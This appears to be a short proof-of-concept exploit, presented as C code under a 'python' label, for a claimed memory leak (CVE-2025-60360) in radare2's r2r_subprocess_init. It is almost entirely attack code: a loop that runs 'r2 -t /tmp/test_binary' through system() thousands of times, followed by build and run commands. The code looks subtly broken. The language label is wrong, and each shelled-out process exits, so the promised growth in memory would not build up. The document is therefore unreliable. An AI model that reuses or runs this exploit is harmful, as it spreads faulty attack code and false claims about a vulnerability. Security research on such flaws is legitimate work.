The following code is for security research and authorized testing only.
python
// CVE-2025-60360 PoC - radare2 r2r_subprocess_init Memory Leak
// This PoC demonstrates the memory leak by repeatedly triggering
// the r2r_subprocess_init function through radare2's test framework.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Simulate repeated calls to trigger the vulnerable function
// In real scenario, use radare2's r2r test runner or API
int main(int argc, char *argv[]) {
int iterations = 1000;
if (argc > 1) {
iterations = atoi(argv[1]);
}
printf("[+] CVE-2025-60360 PoC - radare2 Memory Leak\n");
printf("[+] Triggering r2r_subprocess_init %d times...\n", iterations);
// Method 1: Use radare2 command line to trigger the vulnerability
// Each invocation of 'r2r' or specific radare2 commands
// that internally call r2r_subprocess_init will leak memory
for (int i = 0; i < iterations; i++) {
// Execute radare2 with test command that triggers subprocess init
// The '-t' flag runs tests which internally use r2r_subprocess_init
system("r2 -t /tmp/test_binary > /dev/null 2>&1");
if (i % 100 == 0) {
printf("[*] Iteration %d/%d\n", i, iterations);
}
}
printf("[+] Done. Check process memory usage with 'ps aux' or 'top'\n");
printf("[+] Memory should have grown significantly due to the leak\n");
return 0;
}
// Alternative: Using radare2's r2r command directly
// r2r -t test_name (each call leaks memory in vulnerable versions)
// Build: gcc -o poc poc.c
// Run: ./poc 10000